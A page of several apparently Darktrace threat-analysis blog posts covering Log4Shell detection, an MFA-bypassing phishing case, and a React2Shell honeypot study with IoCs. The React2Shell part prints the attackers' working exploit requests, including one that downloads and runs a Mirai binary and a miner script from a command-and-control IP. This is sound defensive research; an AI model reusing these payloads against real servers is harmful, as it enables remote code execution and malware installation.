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December 14, 2021

Log4Shell Vulnerability Detection & Response With Darktrace

Learn how Darktrace's AI detects and responds to Log4Shell attacks. Explore real-world examples and see how Darktrace identified and mitigated cyber threats.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO
Written by
Justin Fier
SVP, Red Team Operations
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14
Dec 2021

In this blog, we’ll take a look at the Log4Shell vulnerability and provide real-world examples of how Darktrace detects and responds to attacks attempting to leverage Log4Shell in the wild.

Log4Shell is now the well-known name for CVE-2021-44228 – a severity 10 zero-day exploiting a well-known Java logging utility known as Log4j. Vulnerabilities are discovered daily, and some are more severe than others, but the fact that this open source utility is nested into nearly everything, including the Mars Ingenuity drone, makes this that much more menacing. Details and further updates about Log4Shell are still emerging at the publication date of this blog.

Typically, zero-days with the power to reach this many systems are held close to the chest and only used by nation states for high value targets or operations. This one, however, was first discovered being used against Minecraft gaming servers, shared in chat amongst gamers.

While all steps should be taken to deploy mitigations to the Log4Shell vulnerability, these can take time. As evidenced here, behavioral detection can be used to look for signs of post-exploitation activity such as scanning, coin mining, lateral movement, and other activities.

Darktrace initially detected the Log4Shell vulnerability targeting one of our customers’ Internet-facing servers, as you will see in detail in an actual anonymized threat investigation below. This was highlighted and reported using Cyber AI Analyst, unpacked here by our SOC team. Please take note that this was using pre-existing algorithms without retraining classifiers or adjusting response mechanisms in reaction to Log4Shell cyber-attacks.

How Log4Shell works

The vulnerability works by taking advantage of improper input validation by the Java Naming and Directory Interface (JNDI). A command comes in from an HTTP user-agent, encrypted HTTPS connection, or even a chat room message, and the JNDI sends that to the target system in which it gets executed. Most libraries and applications have checks and protections in place to prevent this from happening, but as seen here, they get missed at times.

Various threat actors have started to leverage the vulnerability in attacks, ranging from indiscriminate crypto-mining campaigns to targeted, more sophisticated attacks.

Real-world example 1: Log4Shell exploited on CVE ID release date

Darktrace saw this first example on December 10, the same day the CVE ID was released. We often see publicly documented vulnerabilities being weaponized within days by threat actors. This attack hit an Internet-facing device in an organization’s demilitarized zone (DMZ). Darktrace had automatically classified the server as an Internet-facing device based on its behavior.

The organization had deployed Darktrace in the on-prem network as one of many coverage areas that include cloud, email and SaaS. In this deployment, Darktrace had good visibility of the DMZ traffic. Antigena was not active in this environment, and Darktrace was in detection-mode only. Despite this fact, the client in question was able to identify and remediate this incident within hours of the initial alert. The attack was automated and had the goal of deploying a crypto-miner known as Kinsing.

In this attack, the attacker made it harder to detect the compromise by encrypting the initial command injection using HTTPS over the more common HTTP seen in the wild. Despite this method being able to bypass traditional rules and signature-based systems Darktrace was able to spot multiple unusual behaviors seconds after the initial connection.

Initial compromise details

Through peer analysis Darktrace had previously learned what this specific DMZ device and its peer group normally do in the environment. During the initial exploitation, Darktrace detected various subtle anomalies that taken together made the attack obvious.

  1. 15:45:32 Inbound HTTPS connection to DMZ server from rare Russian IP — 45.155.205[.]233;
  2. 15:45:38 DMZ server makes new outbound connection to the same rare Russian IP using two new user agents: Java user agent and curl over a port that is unusual to serve HTTP compared to previous behavior;
  3. 15:45:39 DMZ server uses an HTTP connection with another new curl user agent (‘curl/7.47.0’) to the same Russian IP. The URI contains reconnaissance information from the DMZ server.

All this activity was detected not because Darktrace had seen it before, but because it strongly deviated from the regular ‘pattern of life’ for this and similar servers in this specific organization.

This server never reached out to rare IP addresses on the Internet, using user agents it never used before, over protocol and port combinations it never uses. Every point-in-time anomaly itself may have presented slightly unusual behavior – but taken together and analyzed in the context of this particular device and environment, the detections clearly tell a bigger story of an ongoing cyber-attack.

Darktrace detected this activity with various models, for example:

  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous Connection / Callback on Web Facing Device

Further tooling and crypto-miner download

Less than 90 minutes after the initial compromise, the infected server started downloading malicious scripts and executables from a rare Ukrainian IP 80.71.158[.]12.

The following payloads were subsequently downloaded from the Ukrainian IP in order:

  • hXXp://80.71.158[.]12//lh.sh
  • hXXp://80.71.158[.]12/Expl[REDACTED].class
  • hXXp://80.71.158[.]12/kinsing
  • hXXp://80.71.158[.]12//libsystem.so
  • hXXp://80.71.158[.]12/Expl[REDACTED].class

Using no threat intelligence or detections based on static indicators of compromise (IoC) such as IPs, domain names or file hashes, Darktrace detected this next step in the attack in real time.

The DMZ server in question never communicated with this Ukrainian IP address in the past over these uncommon ports. It is also highly unusual for this device and its peers to download scripts or executable files from this type of external destination, in this fashion. Shortly after these downloads, the DMZ server started to conduct crypto-mining.

Darktrace detected this activity with various models, for example:

  • Anomalous File / Script from Rare External Location
  • Anomalous File / Internet Facing System File Download
  • Device / Internet Facing System with High Priority Alert

Surfacing the Log4Shell incident immediately

In addition to Darktrace detecting each individual step of this attack in real time, Darktrace Cyber AI Analyst also surfaced the overarching security incident, containing a cohesive narrative for the overall attack, as the most high-priority incident within a week’s worth of incidents and alerts in Darktrace. This means that this incident was the most obvious and immediate item highlighted to human security teams as it unfolded. Darktrace’s Cyber AI Analyst found each stage of this incident and asked the very questions you would expect of your human SOC analysts. From the natural language report generated by the Cyber AI Analyst, a summary of each stage of the incident followed by the vital data points human analysts need, is presented in an easy to digest format. Each tab signifies a different part of this incident outlining the actual steps taken during each investigative process.

The result of this is no sifting through low-level alerts, no need to triage point-in-time detections, no putting the detections into a bigger incident context, no need to write a report. All of this was automatically completed by the AI Analyst saving human teams valuable time.

The below incident report was automatically created and could be downloaded as a PDF in various languages.

Figure 1: Darktrace’s Cyber AI Analyst surfaces multiple stages of the attack and explains its investigation process

Real-world example 2: Responding to a different attack using Log4Shell

On December 12, another organization’s Internet-facing server was initially compromised via Log4Shell. While the details of the compromise are different – other IoCs are involved – Darktrace detected and surfaced the attack similarly to the first example.

Interestingly, this organization had Darktrace Antigena in autonomous mode on their server, meaning the AI can take autonomous actions to respond to ongoing cyber-attacks. These responses can be delivered via a variety of mechanisms, for instance, API interactions with firewalls, other security tools, or native responses issued by Darktrace.

In this attack the rare external IP 164.52.212[.]196 was used for command and control (C2) communication and malware delivery, using HTTP over port 88, which was highly unusual for this device, peer group and organization.

Antigena reacted in real time in this organization, based on the specific context of the attack, without any human in the loop. Antigena interacted with the organization’s firewall in this case to block any connections to or from the malicious IP address – in this case 164.52.212[.]196 – over port 88 for 2 hours with the option of escalating the block and duration if the attack appears to persist. This is seen in the illustration below:

Figure 2: Antigena’s response

Here comes the trick: thanks to Self-Learning AI, Darktrace knows exactly what the Internet-facing server usually does and does not do, down to each individual data point. Based on the various anomalies, Darktrace is certain that this represents a major cyber-attack.

Antigena now steps in and enforces the regular pattern of life for this server in the DMZ. This means the server can continue doing whatever it normally does – but all the highly anomalous actions are interrupted as they occur in real time, such as speaking to a rare external IP over port 88 serving HTTP to download executables.

Of course the human can change or lift the block at any given time. Antigena can also be configured to be in human confirmation mode, having the human in the loop at certain times during the day (e.g. office hours) or at all times, depending on an organization’s needs and requirements.

Conclusion

This blog illustrates further aspects of cyber-attacks leveraging the Log4Shell vulnerability. It also demonstrates how Darktrace detects and responds to zero-day attacks if Darktrace has visibility of the attacked entities.

While Log4Shell is dominating the IT and security news, similar vulnerabilities have surfaced in the past and will appear in the future. We’ve spoken about our approach to detecting and responding to similar vulnerabilities and surrounding cyber-attacks before, for instance:

As always, companies should aim for a defense-in-depth strategy combining preventative security controls with detection and response mechanisms, as well as strong patch management.

Thanks to Brianna Leddy (Darktrace’s Director of Analysis) for her insights on the above threat find.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO
Written by
Justin Fier
SVP, Red Team Operations

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December 15, 2025

Beyond MFA: Detecting Adversary-in-the-Middle Attacks and Phishing with Darktrace

Beyond MFA: Detecting Adversary-in-the-Middle Attacks and Phishing with DarktraceDefault blog imageDefault blog image

What is an Adversary-in-the-middle (AiTM) attack?

Adversary-in-the-Middle (AiTM) attacks are a sophisticated technique often paired with phishing campaigns to steal user credentials. Unlike traditional phishing, which multi-factor authentication (MFA) increasingly mitigates, AiTM attacks leverage reverse proxy servers to intercept authentication tokens and session cookies. This allows attackers to bypass MFA entirely and hijack active sessions, stealthily maintaining access without repeated logins.

This blog examines a real-world incident detected during a Darktrace customer trial, highlighting how Darktrace / EMAILTM and Darktrace / IDENTITYTM identified the emerging compromise in a customer’s email and software-as-a-service (SaaS) environment, tracked its progression, and could have intervened at critical moments to contain the threat had Darktrace’s Autonomous Response capability been enabled.

What does an AiTM attack look like?

Inbound phishing email

Attacks typically begin with a phishing email, often originating from the compromised account of a known contact like a vendor or business partner. These emails will often contain malicious links or attachments leading to fake login pages designed to spoof legitimate login platforms, like Microsoft 365, designed to harvest user credentials.

Proxy-based credential theft and session hijacking

When a user clicks on a malicious link, they are redirected through an attacker-controlled proxy that impersonates legitimate services.  This proxy forwards login requests to Microsoft, making the login page appear legitimate. After the user successfully completes MFA, the attacker captures credentials and session tokens, enabling full account takeover without the need for reauthentication.

Follow-on attacks

Once inside, attackers will typically establish persistence through the creation of email rules or registering OAuth applications. From there, they often act on their objectives, exfiltrating sensitive data and launching additional business email compromise (BEC) campaigns. These campaigns can include fraudulent payment requests to external contacts or internal phishing designed to compromise more accounts and enable lateral movement across the organization.

Darktrace’s detection of an AiTM attack

At the end of September 2025, Darktrace detected one such example of an AiTM attack on the network of a customer trialling Darktrace / EMAIL and Darktrace / IDENTITY.

In this instance, the first indicator of compromise observed by Darktrace was the creation of a malicious email rule on one of the customer’s Office 365 accounts, suggesting the account had likely already been compromised before Darktrace was deployed for the trial.

Darktrace / IDENTITY observed the account creating a new email rule with a randomly generated name, likely to hide its presence from the legitimate account owner. The rule marked all inbound emails as read and deleted them, while ignoring any existing mail rules on the account. This rule was likely intended to conceal any replies to malicious emails the attacker had sent from the legitimate account owner and to facilitate further phishing attempts.

Darktrace’s detection of the anomalous email rule creation.
Figure 1: Darktrace’s detection of the anomalous email rule creation.

Internal and external phishing

Following the creation of the email rule, Darktrace / EMAIL observed a surge of suspicious activity on the user’s account. The account sent emails with subject lines referencing payment information to over 9,000 different external recipients within just one hour. Darktrace also identified that these emails contained a link to an unusual Google Drive endpoint, embedded in the text “download order and invoice”.

Darkrace’s detection of an unusual surge in outbound emails containing suspicious content, shortly following the creation of a new email rule.
Figure 2: Darkrace’s detection of an unusual surge in outbound emails containing suspicious content, shortly following the creation of a new email rule.
Darktrace / EMAIL’s detection of the compromised account sending over 9,000 external phishing emails, containing an unusual Google Drive link.
Figure 3: Darktrace / EMAIL’s detection of the compromised account sending over 9,000 external phishing emails, containing an unusual Google Drive link.

As Darktrace / EMAIL flagged the message with the ‘Compromise Indicators’ tag (Figure 2), it would have been held automatically if the customer had enabled default Data Loss Prevention (DLP) Action Flows in their email environment, preventing any external phishing attempts.

Figure 4: Darktrace / EMAIL’s preview of the email sent by the offending account.
Figure 4: Darktrace / EMAIL’s preview of the email sent by the offending account.

Darktrace analysis revealed that, after clicking the malicious link in the email, recipients would be redirected to a convincing landing page that closely mimicked the customer’s legitimate branding, including authentic imagery and logos, where prompted to download with a PDF named “invoice”.

Figure 5: Download and login prompts presented to recipients after following the malicious email link, shown here in safe view.

After clicking the “Download” button, users would be prompted to enter their company credentials on a page that was likely a credential-harvesting tool, designed to steal corporate login details and enable further compromise of SaaS and email accounts.

Darktrace’s Response

In this case, Darktrace’s Autonomous Response was not fully enabled across the customer’s email or SaaS environments, allowing the compromise to progress,  as observed by Darktrace here.

Despite this, Darktrace / EMAIL’s successful detection of the malicious Google Drive link in the internal phishing emails prompted it to suggest ‘Lock Link’, as a recommended action for the customer’s security team to manually apply. This action would have automatically placed the malicious link behind a warning or screening page blocking users from visiting it.

Autonomous Response suggesting locking the malicious Google Drive link sent in internal phishing emails.
Figure 6: Autonomous Response suggesting locking the malicious Google Drive link sent in internal phishing emails.

Furthermore, if active in the customer’s SaaS environment, Darktrace would likely have been able to mitigate the threat even earlier, at the point of the first unusual activity: the creation of a new email rule. Mitigative actions would have included forcing the user to log out, terminating any active sessions, and disabling the account.

Conclusion

AiTM attacks represent a significant evolution in credential theft techniques, enabling attackers to bypass MFA and hijack active sessions through reverse proxy infrastructure. In the real-world case we explored, Darktrace’s AI-driven detection identified multiple stages of the attack, from anomalous email rule creation to suspicious internal email activity, demonstrating how Autonomous Response could have contained the threat before escalation.

MFA is a critical security measure, but it is no longer a silver bullet. Attackers are increasingly targeting session tokens rather than passwords, exploiting trusted SaaS environments and internal communications to remain undetected. Behavioral AI provides a vital layer of defense by spotting subtle anomalies that traditional tools often miss

Security teams must move beyond static defenses and embrace adaptive, AI-driven solutions that can detect and respond in real time. Regularly review SaaS configurations, enforce conditional access policies, and deploy technologies that understand “normal” behavior to stop attackers before they succeed.

Credit to David Ison (Cyber Analyst), Bertille Pierron (Solutions Engineer), Ryan Traill (Analyst Content Lead)

Appendices

Models

SaaS / Anomalous New Email Rule

Tactic – Technique – Sub-Technique  

Phishing - T1566

Adversary-in-the-Middle - T1557

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David Ison
Cyber Analyst

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December 16, 2025

React2Shell: How Opportunist Attackers Exploited CVE-2025-55182 Within Hours

React2Shell: How Opportunist Attackers Exploited CVE-2025-55182 Within HoursDefault blog imageDefault blog image

What is React2Shell?

CVE-2025-55182, also known as React2Shell is a vulnerability within React server components that allows for an unauthenticated attacker to gain remote code execution with a single request. The severity of this vulnerability and ease of exploitability has led to threat actors opportunistically exploiting it within a matter of days of its public disclosure.

Darktrace security researchers rapidly deployed a new honeypot using the Cloudypots system, allowing for the monitoring of exploitation of the vulnerability in the wild.

Cloudypots is a system that enables virtual instances of vulnerable applications to be deployed in the cloud and monitored for attack. This approach allows for Darktrace to deploy high-interaction, realistic honeypots, that appear as genuine deployments of vulnerable software to attackers.

This blog will explore one such campaign, nicknamed “Nuts & Bolts” based on the naming used in payloads.

Analysis of the React2Shell exploit

The React2Shell exploit relies on an insecure deserialization vulnerability within React Server Components’ “Flight” protocol. This protocol uses a custom serialization scheme that security researchers discovered could be abused to run arbitrary JavaScript by crafting the serialized data in a specific way. This is possible because the framework did not perform proper type checking, allowing an attacker to reference types that can be abused to craft a chain that resolves to an anonymous function, and then invoke it with the desired JavaScript as a promise chain.

This code execution can then be used to load the ‘child_process’ node module and execute any command on the target server.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day [1]. Within 30 hours of the patch, a publicly available proof of concept emerged that could be used to exploit any vulnerable server. This rapid timeline left many servers remaining unpatched by the time attackers began actively exploiting the vulnerability.

Initial access

The threat actor behind the “Nuts & Bolts” campaign uses a spreader server with IP 95.214.52[.]170 to infect victims. The IP appears to be located in Poland and is associated with a hosting provided known as MEVSPACE. The spreader is highly aggressive, launching exploitation attempts, roughly every hour.

When scanning, the spreader primarily targets port 3000, which is the default port for a NEXT.js server in a default or development configuration. It is possible the attacker is avoiding port 80 and 443, as these are more likely to have reverse proxies or WAFs in front of the server, which could disrupt exploitation attempts.

When the spreader finds a new host with port 3000 open, it begins by testing if it is vulnerable to React2Shell by sending a crafted request to run the ‘whoami’ command and store the output in an error digest that is returned to the attacker.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(whoami)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

The above snippet is the core part of the crafted request that performs the execution. This allows the attacker to confirm that the server is vulnerable and fetch the user account under which the NEXT.js process is running, which is useful information for determining if a target is worth attacking.

From here, the attacker then sends an additional request to run the actual payload on the victim server.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(cd /dev;(busybox wget -O x86 hxxp://89[.]144.31.18/nuts/x86%7C%7Ccurl -s -o x86 hxxp://89[.]144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||curl -s hxxp://89[.]144.31.18/nuts/bolts)%7Csh)&',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

This snippet attempts to deploy several payloads by using wget (or curl if wget fails) into the /dev directory and execute them. The x86 binary is a Mirai variant that does not appear to have any major alterations to regular Mirai. The ‘nuts/bolts’ endpoint returns a bash script, which is then executed. The script includes several log statements throughout its execution to provide visibility into which parts ran successfully. Similar to the ‘whoami’ request, the output is placed in an error digest for the attacker to review.

In this case, the command-and-control (C2) IP, 89[.]144.31.18, is hosted on a different server operated by a German hosting provider named myPrepaidServer, which offers virtual private server (VPS) services and accepts cryptocurrency payments [2].  

Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.
Figure 1: Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.

Nuts & Bolts script

This script’s primary purpose is to prepare the box for a cryptocurrency miner.

The script starts by attempting to terminate any competing cryptocurrency miner processes using ‘pkill’ that match on a specific name. It will check for and terminate:

  • xmrig
  • softirq (this also matches a system process, which it will fail to kill each invocation)
  • watcher
  • /tmp/a.sh
  • health.sh

Following this, the script will checks for a process named “fghgf”. If it is not running, it will retrieve hxxp://89[.]144.31.18/nuts/lc and write it to /dev/ijnegrrinje.json, as well as retrieving hxxp://89[.]144.31.18/nuts/x and writing it to /dev/fghgf. The script will the executes /dev/fghgf -c /dev/ijnegrrinje.json -B in the background, which is an XMRig miner.

The XMRig deployment script.
Figure 2: The XMRig deployment script.

The miner is configured to connect to two private pools at 37[.]114.37.94 and 37[.]114.37.82, using  “poop” as both the username and password. The use of a private pool conceals the associated wallet address. From here, a short bash script is dropped to /dev/stink.sh. This script continuously crawls all running processes on the system and reads their /proc/pid/exe path, which contains a copy of the original executable that was run. The ‘strings’ utility is run to output all valid ASCII strings found within the data and checks to see if contains either “xmrig”, “rondo” or “UPX 5”. If so, it sends a SIGKILL to the process to terminate it.

Additionally, it will run ‘ls –l’ on the exe path in case it is symlinked to a specific path or has been deleted. If the output contains any of the following strings, the script sends a SIGKILL to terminate the program:

  • (deleted) - Indicates that the original executable was deleted from the disk, a common tactic used by malware to evade detection.
  • xmrig
  • hash
  • watcher
  • /dev/a
  • softirq
  • rondo
  • UPX 5.02
 The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.
Figure 3: The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.

Darktrace observations in customer environments  

Following the public disclosure of CVE‑2025‑55182 on December, Darktrace observed multiple exploitation attempts across customer environments beginning around December 4. Darktrace triage identified a series of consistent indicators of compromise (IoCs). By consolidating indicators across multiple deployments and repeat infrastructure clusters, Darktrace identified a consistent kill chain involving shell‑script downloads and HTTP beaconing.

In one example, on December 5, Darktrace observed external connections to malicious IoC endpoints (172.245.5[.]61:38085, 5.255.121[.]141, 193.34.213[.]15), followed by additional connections to other potentially malicious endpoint. These appeared related to the IoCs detailed above, as one suspicious IP address shared the same ASN. After this suspicious external connectivity, Darktrace observed cryptomining-related activity. A few hours later, the device initiated potential lateral movement activity, attempting SMB and RDP sessions with other internal devices on the network. These chain of events appear to identify this activity to be related to the malicious campaign of the exploitation of React2Shell vulnerability.

Generally, outbound HTTP traffic was observed to ports in the range of 3000–3011, most notably port 3001. Requests frequently originated from scripted tools, with user agents such as curl/7.76.1, curl/8.5.0, Wget/1.21.4, and other generic HTTP signatures. The URIs associated with these requests included paths like /nuts/x86 and /n2/x86, as well as long, randomized shell script names such as /gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh. In some cases, parameterized loaders were observed, using query strings like: /?h=<ip>&p=<port>&t=<proto>&a=l64&stage=true.  

Infrastructure analysis revealed repeated callbacks to IP-only hosts linked to ASN AS200593 (Prospero OOO), a well-known “bulletproof” hosting provider often utilized by cyber criminals [3], including addresses such as 193.24.123[.]68:3001 and 91.215.85[.]42:3000, alongside other nodes hosting payloads and staging content.

Darktrace model coverage

Darktrace model coverage consistently highlighted behaviors indicative of exploitation. Among the most frequent detections were anomalous server activity on new, non-standard ports and HTTP requests posted to IP addresses without hostnames, often using uncommon application protocols. Models also flagged the appearance of new user agents such as curl and wget originating from internet-facing systems, representing an unusual deviation from baseline behavior.  

Additionally, observed activity included the download of scripts and executable files from rare external sources, with Darktrace’s Autonomous Response capability intervening to block suspicious transfers, when enabled. Beaconing patterns were another strong signal, with detections for HTTP beaconing to new or rare IP addresses, sustained SSL or HTTP increases, and long-running compromise indicators such as “Beacon for 4 Days” and “Slow Beaconing.”

Conclusion

While this opportunistic campaign to exploit the React2Shell exploit is not particularly sophisticated, it demonstrates that attackers can rapidly prototyping new methods to take advantage of novel vulnerabilities before widespread patching occurs. With a time to infection of only two minutes from the initial deployment of the honeypot, this serves as a clear reminder that patching vulnerabilities as soon as they are released is paramount.

Credit to Nathaniel Bill (Malware Research Engineer), George Kim (Analyst Consulting Lead – AMS), Calum Hall (Technical Content Researcher), Tara Gould (Malware Research Lead, and Signe Zaharka (Principal Cyber Analyst).

Edited by Ryan Traill (Analyst Content Lead)

Appendices

IoCs

Spreader IP - 95[.]214.52.170

C2 IP - 89[.]144.31.18

Mirai hash - 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb

Xmrig hash - aa6e0f4939135feed4c771e4e4e9c22b6cedceb437628c70a85aeb6f1fe728fa

Config hash - 318320a09de5778af0bf3e4853d270fd2d390e176822dec51e0545e038232666

Monero pool 1 - 37[.]114.37.94

Monero pool 2 - 37[.]114.37.82

References  

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-55182

[2] https://myprepaid-server.com/

[3] https://krebsonsecurity.com/2025/02/notorious-malware-spam-host-prospero-moves-to-kaspersky-lab

Darktrace Model Coverage

Anomalous Connection::Application Protocol on Uncommon Port

Anomalous Connection::New User Agent to IP Without Hostname

Anomalous Connection::Posting HTTP to IP Without Hostname

Anomalous File::Script and EXE from Rare External

Anomalous File::Script from Rare External Location

Anomalous Server Activity::New User Agent from Internet Facing System

Anomalous Server Activity::Rare External from Server

Antigena::Network::External Threat::Antigena Suspicious File Block

Antigena::Network::External Threat::Antigena Watched Domain Block

Compromise::Beacon for 4 Days

Compromise::Beacon to Young Endpoint

Compromise::Beaconing Activity To External Rare

Compromise::High Volume of Connections with Beacon Score

Compromise::HTTP Beaconing to New IP

Compromise::HTTP Beaconing to Rare Destination

Compromise::Large Number of Suspicious Failed Connections

Compromise::Slow Beaconing Activity To External Rare

Compromise::Sustained SSL or HTTP Increase

Device::New User Agent

Device::Threat Indicator

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Nathaniel Bill
Malware Research Engineer
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